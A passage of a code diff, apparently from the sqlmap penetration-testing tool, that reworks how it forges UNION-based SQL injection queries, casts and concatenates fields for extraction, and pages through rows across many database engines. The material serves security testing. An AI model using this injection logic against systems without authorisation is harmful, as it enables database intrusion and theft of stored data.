(FORK.MEMSQL, FORK.TIDB, FORK.DRIZZLE): + payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload) + payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload) + payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload) + elif hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.DM8,): + payload = re.sub(r"(?i)\bSUBSTRC\(", "SUBSTR(", payload) + if "SYS.USER$" in payload: + payload = re.sub(r"(?i)\bSYS.USER\$", "DBA_USERS", payload) + payload = re.sub(r"(?i)\bNAME\b", "USERNAME", payload) + + # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5057 + match = re.search(r"(=0x)(303a303a)3(\d{2,})", payload) + if match: + payload = payload.replace(match.group(0), "%s%s%s" % (match.group(1), match.group(2).upper(), "".join("3%s" % _ for _ in match.group(3)))) return payload @@ -273,10 +455,10 @@ def hexConvertField(self, field): rootQuery = queries[Backend.getIdentifiedDbms()] hexField = field - if 'hex' in rootQuery: + if "hex" in rootQuery and hasattr(rootQuery.hex, "query"): hexField = rootQuery.hex.query % field else: - warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) return hexField @@ -311,19 +493,39 @@ def nullAndCastField(self, field): @rtype: C{str} """ - rootQuery = queries[Backend.getIdentifiedDbms()] - - if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast: - nulledCastedField = field + match = re.search(r"(?i)(.+)( AS \w+)\Z", field) + if match: + field, suffix = match.groups() else: - nulledCastedField = rootQuery.cast.query % field - if Backend.isDbms(DBMS.ACCESS): - nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) + suffix = "" + + nulledCastedField = field + + if field and Backend.getIdentifiedDbms(): + rootQuery = queries[Backend.getIdentifiedDbms()] + + if field.startswith("(CASE") or field.startswith("(IIF") or conf.noCast and not (field.startswith("COUNT(") and Backend.getIdentifiedDbms() == DBMS.MSSQL): + nulledCastedField = field else: - nulledCastedField = rootQuery.isnull.query % nulledCastedField + if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')): + nulledCastedField = rootQuery.cast.query % field - if conf.hexConvert: - nulledCastedField = self.hexConvertField(nulledCastedField) + if re.search(r"COUNT\(", field) and Backend.getIdentifiedDbms() in (DBMS.RAIMA,): + pass + elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI): + nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField) + else: + nulledCastedField = rootQuery.isnull.query % nulledCastedField + + kb.binaryField = conf.binaryFields and field in conf.binaryFields + if conf.hexConvert or kb.binaryField: + nulledCastedField = self.hexConvertField(nulledCastedField) + + if suffix: + nulledCastedField += suffix + + if not kb.nchar: + nulledCastedField = re.sub(r"( AS )N(CHAR|VARCHAR)", r"\g<1>\g<2>", nulledCastedField) return nulledCastedField @@ -357,18 +559,18 @@ def nullCastConcatFields(self, fields): @rtype: C{str} """ - if not Backend.getDbms(): + if not Backend.getIdentifiedDbms(): return fields if fields.startswith("(CASE") or fields.startswith("(IIF") or fields.startswith("SUBSTR") or fields.startswith("MID(") or re.search(r"\A'[^']+'\Z", fields): nulledCastedConcatFields = fields else: - fields = fields.replace(", ", ",") - fieldsSplitted = fields.split(",") + fieldsSplitted = splitFields(fields) dbmsDelimiter = queries[Backend.getIdentifiedDbms()].delimiter.query nulledCastedFields = [] for field in fieldsSplitted: + field = re.sub(r"(?i) AS \w+\Z", "", field) # NOTE: fields such as "... AS type_name" have to be stripped from the alias part for this functionality to work nulledCastedFields.append(self.nullAndCastField(field)) delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.chars.delimiter, dbmsDelimiter) @@ -393,58 +595,83 @@ def getFields(self, query): @rtype: C{str} """ - prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*" - fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I) - fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) - fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) - fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I) - fieldsExists = re.search("EXISTS(.*)", query, re.I) - fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) - fieldsSubstr = re.search("\A(SUBSTR|MID\()", query, re.I) - fieldsMinMaxstr = re.search("(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) + prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" + fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) + fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) + fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) + fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) + fieldsSelectFrom = re.search(r"\ASELECT%s\s+(.+?)\s+FROM " % prefixRegex, query, re.I) + fieldsExists = re.search(r"EXISTS\(([^)]*)\)\Z", query, re.I) + fieldsSelect = re.search(r"\ASELECT%s\s+(.*)" % prefixRegex, query, re.I) + fieldsSubstr = re.search(r"\A(SUBSTR|MID\()", query, re.I) + fieldsMinMaxstr = re.search(r"(?:MIN|MAX)\(([^\(\)]+)\)", query, re.I) fieldsNoSelect = query + _ = zeroDepthSearch(query, " FROM ") + if not _: + fieldsSelectFrom = None + + if re.search(r"\bWHERE\b.+(MIN|MAX)", query, re.I): + fieldsMinMaxstr = None + + fieldsToCastStr = fieldsNoSelect + if fieldsSubstr: fieldsToCastStr = query elif fieldsMinMaxstr: - fieldsToCastStr = fieldsMinMaxstr.groups()[0] + fieldsToCastStr = fieldsMinMaxstr.group(1) elif fieldsExists: - fieldsToCastStr = fieldsSelect.groups()[0] + if fieldsSelect: + fieldsToCastStr = fieldsSelect.group(1) elif fieldsSelectTop: - fieldsToCastStr = fieldsSelectTop.groups()[0] + fieldsToCastStr = fieldsSelectTop.group(2) + elif fieldsSelectRownum: + fieldsToCastStr = fieldsSelectRownum.group(1) elif fieldsSelectDistinct: - fieldsToCastStr = fieldsSelectDistinct.groups()[0] + if Backend.getDbms() in (DBMS.HSQLDB,): + fieldsToCastStr = fieldsNoSelect + else: + fieldsToCastStr = fieldsSelectDistinct.group(1) elif fieldsSelectCase: - fieldsToCastStr = fieldsSelectCase.groups()[0] + fieldsToCastStr = fieldsSelectCase.group(1) elif fieldsSelectFrom: - fieldsToCastStr = fieldsSelectFrom.groups()[0] + fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query + fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr) elif fieldsSelect: - fieldsToCastStr = fieldsSelect.groups()[0] - else: - fieldsToCastStr = fieldsNoSelect + fieldsToCastStr = fieldsSelect.group(1) + + fieldsToCastStr = fieldsToCastStr or "" # Function - if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: + if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr: fieldsToCastList = [fieldsToCastStr] else: - fieldsToCastList = fieldsToCastStr.replace(", ", ",") - fieldsToCastList = fieldsToCastList.split(",") + fieldsToCastList = splitFields(fieldsToCastStr) return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr, fieldsExists - def simpleConcatQuery(self, query1, query2): - concatenatedQuery = "" - - if Backend.isDbms(DBMS.MYSQL): - concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2) - - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): - concatenatedQuery = "%s||%s" % (query1, query2) + def simpleConcatenate(self, first, second): + rootQuery = queries[Backend.getIdentifiedDbms()] + return rootQuery.concatenate.query % (first, second) - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - concatenatedQuery = "%s+%s" % (query1, query2) + def preprocessField(self, table, field): + """ + Does a field preprocessing (if needed) based on its type (e.g. image to text) + Note: used primarily in dumping of custom tables + """ - return concatenatedQuery + retVal = field + if conf.db and table and conf.db in table: + table = table.split(conf.db)[-1].strip('.') + try: + columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)] + for name, type_ in columns.items(): + if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field: + retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name + break + except KeyError: + pass + return retVal def concatQuery(self, query, unpack=True): """ @@ -474,7 +701,7 @@ def concatQuery(self, query, unpack=True): if unpack: concatenatedQuery = "" - query = query.replace(", ", ",") + query = query.replace(", ", ',') fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr, fieldsExists = self.getFields(query) castedFields = self.nullCastConcatFields(fieldsToCastStr) concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1) @@ -489,15 +716,15 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsSelectFrom: - concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) - concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.chars.stop, 1) + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) + concatenatedQuery = "%s,'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.chars.start, 1) concatenatedQuery += ",'%s')" % kb.chars.stop elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -506,7 +733,9 @@ def concatQuery(self, query, unpack=True): concatenatedQuery += ")||'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) - concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.chars.stop, 1) + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) + concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) + concatenatedQuery = re.sub(r"('%s'\|\|)(.+?)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -518,15 +747,16 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1) - concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1) + topNum = fieldsSelectTop.group(1) + concatenatedQuery = concatenatedQuery.replace("SELECT TOP%s " % topNum, "TOP%s '%s'+" % (topNum, kb.chars.start), 1) concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) elif fieldsSelectCase: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) - concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1) + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) + concatenatedQuery = "%s+'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop @@ -542,7 +772,8 @@ def concatQuery(self, query, unpack=True): concatenatedQuery += ")&'%s'" % kb.chars.stop elif fieldsSelectFrom: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) - concatenatedQuery = concatenatedQuery.replace(" FROM ", "&'%s' FROM " % kb.chars.stop, 1) + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) + concatenatedQuery = "%s&'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:]) elif fieldsSelect: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'&" % kb.chars.start, 1) concatenatedQuery += "&'%s'" % kb.chars.stop @@ -550,11 +781,48 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) else: - concatenatedQuery = query + warnMsg = "applying generic concatenation (CONCAT)" + singleTimeWarnMessage(warnMsg) + + if FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms()): + _ = re.sub(r"(?i)%s\Z" % re.escape(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]), "", concatenatedQuery) + if _ != concatenatedQuery: + concatenatedQuery = _ + fieldsSelectFrom = None + + if fieldsExists: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) + concatenatedQuery += "),'%s')" % kb.chars.stop + elif fieldsSelectCase: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) + concatenatedQuery += "),'%s')" % kb.chars.stop + elif fieldsSelectFrom or fieldsSelect: + fromTable = "" + + _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM ")) + if _: + concatenatedQuery, fromTable = concatenatedQuery[:_], concatenatedQuery[_:] + + concatenatedQuery = re.sub(r"(?i)\ASELECT ", "", concatenatedQuery) + replacement = "'%s',%s,'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop) + chars = [_ for _ in replacement] + + count = 0 + for index in zeroDepthSearch(replacement, ',')[1:]: + chars[index] = ")," + count += 1 + + replacement = "CONCAT(%s%s)" % ("CONCAT(" * count, "".join(chars)) + concatenatedQuery = "%s%s" % (replacement, fromTable) + elif fieldsSelect: + concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1) + concatenatedQuery += "),'%s')" % kb.chars.stop + elif fieldsNoSelect: + concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) return concatenatedQuery - def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False): + def forgeUnionQuery(self, query, position, count, comment, prefix, suffix, char, where, multipleUnions=None, limited=False, fromTable=None): """ Take in input an query (pseudo query) string and return its processed UNION ALL SELECT query. @@ -585,80 +853,161 @@ def forgeInbandQuery(self, query, position, count, comment, prefix, suffix, char @rtype: C{str} """ + if conf.uFrom: + fromTable = " FROM %s" % conf.uFrom + elif not fromTable: + if kb.tableFrom: + fromTable = " FROM %s" % kb.tableFrom + else: + fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") + if query.startswith("SELECT "): query = query[len("SELECT "):] - limitOriginal = "" - if where == PAYLOAD.WHERE.ORIGINAL: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, ): - limitOriginal = "%s " % (queries[Backend.getIdentifiedDbms()].limit.query % (1, 1)) - - inbandQuery = self.prefixQuery("%sUNION ALL SELECT " % limitOriginal, prefix=prefix) + unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix) if limited: - inbandQuery += ",".join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) - inbandQuery += FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "") - inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) + unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count)) + unionQuery += fromTable + unionQuery = self.suffixQuery(unionQuery, comment, suffix) + + return unionQuery + else: + _ = zeroDepthSearch(query, " FROM ") + if _: + fromTable = query[_[0]:] - return inbandQuery + if fromTable and query.endswith(fromTable): + query = query[:-len(fromTable)] - topNumRegex = re.search("\ATOP\s+([\d]+)\s+", query, re.I) + topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I) if topNumRegex: topNum = topNumRegex.group(1) query = query[len("TOP %s " % topNum):] - inbandQuery += "TOP %s " % topNum + unionQuery += "TOP %s " % topNum - intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I) + intoFileRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I) - if intoRegExp: - intoRegExp = intoRegExp.group(1) - query = query[:query.index(intoRegExp)] + if intoFileRegExp: + infoFile = intoFileRegExp.group(1) + query = query[:query.index(infoFile)] - if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and inbandQuery.endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): - inbandQuery = inbandQuery[:-len(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()])] + position = 0 + char = NULL + else: + infoFile = None for element in xrange(0, count): if element > 0: - inbandQuery += ", " + unionQuery += ',' - if element == position: - if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "): - conditionIndex = query.index(" FROM ") - inbandQuery += query[:conditionIndex] - else: - inbandQuery += query + if conf.uValues and conf.uValues.count(',') + 1 == count: + unionQuery += conf.uValues.split(',')[element] + elif element == position: + unionQuery += query else: - inbandQuery += char + unionQuery += char - if " FROM " in query and ("(CASE " not in query or ("(CASE " in query and "WHEN use" in query)) and "EXISTS(" not in query and not query.startswith("SELECT "): - conditionIndex = query.index(" FROM ") - inbandQuery += query[conditionIndex:] + if conf.uValues: + unionQuery = unionQuery.replace(CUSTOM_INJECTION_MARK_CHAR, query) - if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE: - if " FROM " not in inbandQuery or "(CASE " in inbandQuery or "(IIF" in inbandQuery: - inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] + if fromTable and not unionQuery.endswith(fromTable): + unionQuery += fromTable - if intoRegExp: - inbandQuery += intoRegExp + if infoFile: + unionQuery += infoFile if multipleUnions: - inbandQuery += " UNION ALL SELECT " + unionQuery += " UNION ALL SELECT " for element in xrange(count): if element > 0: - inbandQuery += ", " + unionQuery += ',' if element == position: - inbandQuery += multipleUnions + unionQuery += multipleUnions else: - inbandQuery += char + unionQuery += char + + if fromTable: + unionQuery += fromTable + + unionQuery = self.suffixQuery(unionQuery, comment, suffix) + + return unionQuery + + def limitCondition(self, expression, dump=False): + startLimit = 0 + stopLimit = None + limitCond = True + + topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I) - if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE: - inbandQuery += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] + limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I) - inbandQuery = self.suffixQuery(inbandQuery, comment, suffix) + if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"): + limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I) + else: + limitRegExp2 = None + + if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2): + limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query + + if limitGroupStart.isdigit(): + if limitRegExp: + startLimit = int(limitRegExp.group(int(limitGroupStart))) + stopLimit = limitRegExp.group(int(limitGroupStop)) + elif limitRegExp2: + startLimit = 0 + stopLimit = limitRegExp2.group(int(limitGroupStart)) + limitCond = int(stopLimit) > 1 + + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if limitRegExp: + limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query + limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query + + if limitGroupStart.isdigit(): + startLimit = int(limitRegExp.group(int(limitGroupStart))) + + stopLimit = limitRegExp.group(int(limitGroupStop)) + limitCond = int(stopLimit) > 1 + elif topLimit: + startLimit = 0 + stopLimit = int(topLimit.group(1)) + limitCond = int(stopLimit) > 1 + + elif Backend.isDbms(DBMS.ORACLE): + limitCond = False + + # We assume that only queries NOT containing a "LIMIT #, 1" + # (or equivalent depending on the back-end DBMS) can return + # multiple entries + if limitCond: + if (limitRegExp or limitRegExp2) and stopLimit is not None: + stopLimit = int(stopLimit) + + # From now on we need only the expression until the " LIMIT " + # (or equivalent, depending on the back-end DBMS) word + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + stopLimit += startLimit + if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0: + _ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query) + else: + _ = re.search(r"\bLIMIT\b", expression, re.I).start() + expression = expression[:_] - return inbandQuery + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + stopLimit += startLimit + elif dump: + if conf.limitStart: + startLimit = conf.limitStart - 1 + if conf.limitStop: + stopLimit = conf.limitStop + + return expression, limitCond, topLimit, startLimit, stopLimit def limitQuery(self, num, query, field=None, uniqueField=None): """ @@ -682,32 +1031,87 @@ def limitQuery(self, num, query, field=None, uniqueField=None): @rtype: C{str} """ + if " FROM " not in query: + return query + limitedQuery = query limitStr = queries[Backend.getIdentifiedDbms()].limit.query fromIndex = limitedQuery.index(" FROM ") untilFrom = limitedQuery[:fromIndex] - fromFrom = limitedQuery[fromIndex+1:] - orderBy = False + fromFrom = limitedQuery[fromIndex + 1:] + orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CUBRID, DBMS.EXTREMEDB, DBMS.DERBY): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr + elif Backend.getIdentifiedDbms() in (DBMS.H2, DBMS.CRATEDB, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num) + limitedQuery += " %s" % limitStr + + elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1) + limitedQuery += " %s" % limitStr + + elif Backend.getIdentifiedDbms() in (DBMS.FRONTBASE, DBMS.VIRTUOSO): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) + if query.startswith("SELECT "): + limitedQuery = query.replace("SELECT ", "SELECT %s " % limitStr, 1) + + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,): + if query.startswith("SELECT ") and field is not None and field in query: + original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0] + for part in original.split(','): + if re.search(r"\b%s\b" % re.escape(field), part): + _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1) + replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num) + limitedQuery = replacement + break + + elif Backend.isDbms(DBMS.HSQLDB): + match = re.search(r"ORDER BY [^ ]+", limitedQuery) + if match: + limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip() + limitedQuery += " %s" % match.group(0) + + if query.startswith("SELECT "): + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) + limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1) + else: + limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num) + limitedQuery += " %s" % limitStr + + if not match: + match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery) + if match: + orderBy = " ORDER BY %s" % match.group(1) + + elif Backend.isDbms(DBMS.CACHE): + match = re.search(r"ORDER BY ([^ ]+)\Z", limitedQuery) + if match: + limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip() + orderBy = " %s" % match.group(0) + field = match.group(1) + + limitedQuery = queries[Backend.getIdentifiedDbms()].limit.query % (1, field, limitedQuery, num) + elif Backend.isDbms(DBMS.FIREBIRD): - limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num+1, num+1) + limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1) limitedQuery += " %s" % limitStr elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): - if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery: - orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] + if " ORDER BY " not in limitedQuery: + limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT") + elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery: limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] if query.startswith("SELECT "): delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query - limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr) + limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr) else: - limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr) - limitedQuery = limitedQuery % fromFrom + limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr) + + limitedQuery = safeStringFormat(limitedQuery, (fromFrom,)) limitedQuery += "=%d" % (num + 1) elif Backend.isDbms(DBMS.MSSQL): @@ -717,7 +1121,7 @@ def limitQuery(self, num, query, field=None, uniqueField=None): orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):] limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")] - notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) + notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I) for notDistinct in notDistincts: limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct) @@ -734,22 +1138,24 @@ def limitQuery(self, num, query, field=None, uniqueField=None): limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num) forgeNotIn = False else: - topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1) - limitedQuery = limitedQuery.replace("TOP %s " % topNum, "") + limitedQuery = re.sub(r"\bTOP\s+\d+\s*", "", limitedQuery, flags=re.I) if forgeNotIn: limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1) if " ORDER BY " not in fromFrom: - # Reference: http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command + # Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command if " WHERE " in limitedQuery: - limitedQuery = "%s AND %s " % (limitedQuery, uniqueField or field) + limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) else: - limitedQuery = "%s WHERE ISNULL(%s,' ') " % (limitedQuery, uniqueField or field) + limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field)) limitedQuery += "NOT IN (%s" % (limitStr % num) - limitedQuery += "ISNULL(%s,' ') %s ORDER BY 